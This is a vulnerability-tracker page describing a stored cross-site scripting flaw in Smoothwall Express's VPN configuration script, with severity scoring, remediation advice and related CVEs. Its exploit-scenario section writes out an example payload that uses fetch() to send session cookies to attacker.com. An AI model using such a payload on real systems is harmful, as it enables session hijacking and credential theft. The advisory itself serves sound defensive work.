Skip to main content

Smoothwall EUVDEUVD-2026-17126

| CVE-2026-26352 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-30 VulnCheck GHSA-7455-x3qx-74xc
5.1
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v4.0 base score of 5.1 reflects a medium-severity vulnerability with network attack vector, low complexity, and low-privilege attacker requirements, but mitigated by the requirement for user interaction and limited scope (scope change is not indicated). The EPSS exploitation probability is not provided in the input data. Critically, this is a stored XSS requiring both authentication and user interaction-two significant friction points that reduce real-world opportunistic exploitation. However, in a targeted attack against administrative users managing VPN settings, the persistence of the payload and the likelihood of regular page visits by privileged users elevate practical risk. The vulnerability is not listed as actively exploited (no CISA KEV status), and no public proof-of-concept is referenced, meaning the threat landscape is primarily dependent on internal discovery or coordinated disclosure. CVSS vector signals PR:L (low privilege required) and UI:P (user interaction required), confirming authentication and interaction prerequisites. From an SSVC perspective, exploitation is unconfirmed but plausible; impact is limited to session manipulation rather than system compromise; and automatable exploitation would require user cooperation.

Exploit ScenarioDerived

An authenticated attacker with low-privilege account access modifies VPN settings, injecting a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>' into the VPN_IP parameter. When a higher-privileged administrator or other user accesses the VPN configuration page to review or edit settings, the injected script executes in their browser, silently exfiltrating their session cookies to an attacker-controlled server. The attacker can then use the stolen session to escalate privileges or modify firewall rules. No public exploit code has been identified, but the attack requires only knowledge of the vulnerable parameter and access to a low-privilege account, making it practical in insider or credential-compromise scenarios.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Stored cross-site scripting in Smoothwall Express prior to version 3.1 Update 13 allows authenticated attackers to inject arbitrary JavaScript through the VPN_IP parameter in /cgi-bin/vpnmain.cgi, which executes when other users view affected VPN configuration pages. The vulnerability requires user interaction (page view) and authenticated access, limiting immediate risk but enabling persistent session hijacking or credential theft against administrative users. No public exploit code or active exploitation has been confirmed at the time of analysis.

RemediationAI

Vendor-released patch: Smoothwall Express 3.1 Update 13 or later. Administrators should immediately upgrade affected Smoothwall Express installations to version 3.1 Update 13 to remediate the stored XSS vulnerability in the VPN configuration subsystem. As an interim control prior to patching, restrict access to the /cgi-bin/vpnmain.cgi endpoint to trusted administrative IP ranges or VPN networks, and audit VPN configuration pages for any suspicious JavaScript or encoded payloads already injected into the VPN_IP parameter. For additional details, consult the vendor advisory at https://community.smoothwall.org/forum/viewtopic.php?t=45095.

Affected VersionsENISA

express 0 ≤3.1 Update 13

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in Smoothwall Express (CPE: cpe:2.3:a:smoothwall:express:*:*:*:*:*:*:*:*), a network gateway and firewall appliance platform. The root cause is improper input validation and output encoding in the /cgi-bin/vpnmain.cgi CGI script, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The VPN_IP parameter accepts and stores user-supplied data without sufficient sanitization, allowing injection of malicious JavaScript payloads. When the VPN configuration page is rendered for other authenticated users, the injected script executes in their browser context with the privileges of their session, enabling session-based attacks.

Know when Smoothwall gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 30, 2026 - 17:15 nvd
Patch available
CVE Published
Mar 30, 2026 - 16:49 nvd
MEDIUM 5.1

DescriptionCVE.org

Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2019-25379 HIGH POC
7.2 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains stored and reflected cross-site scripting vulnerabilities in th

CVE-2019-25395 HIGH POC
7.2 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the pre

CVE-2019-25394 HIGH POC
7.2 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the mod

CVE-2014-9431 MEDIUM POC
6.8 Dec 31

Multiple cross-site request forgery (CSRF) vulnerabilities in Smoothwall Express 3.1 and 3.0 SP3 allow remote attackers

CVE-2019-25392 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25389 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25388 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25387 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25382 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25393 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau

CVE-2019-25386 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the

CVE-2019-25385 MEDIUM POC
6.1 Feb 16

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows atta

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy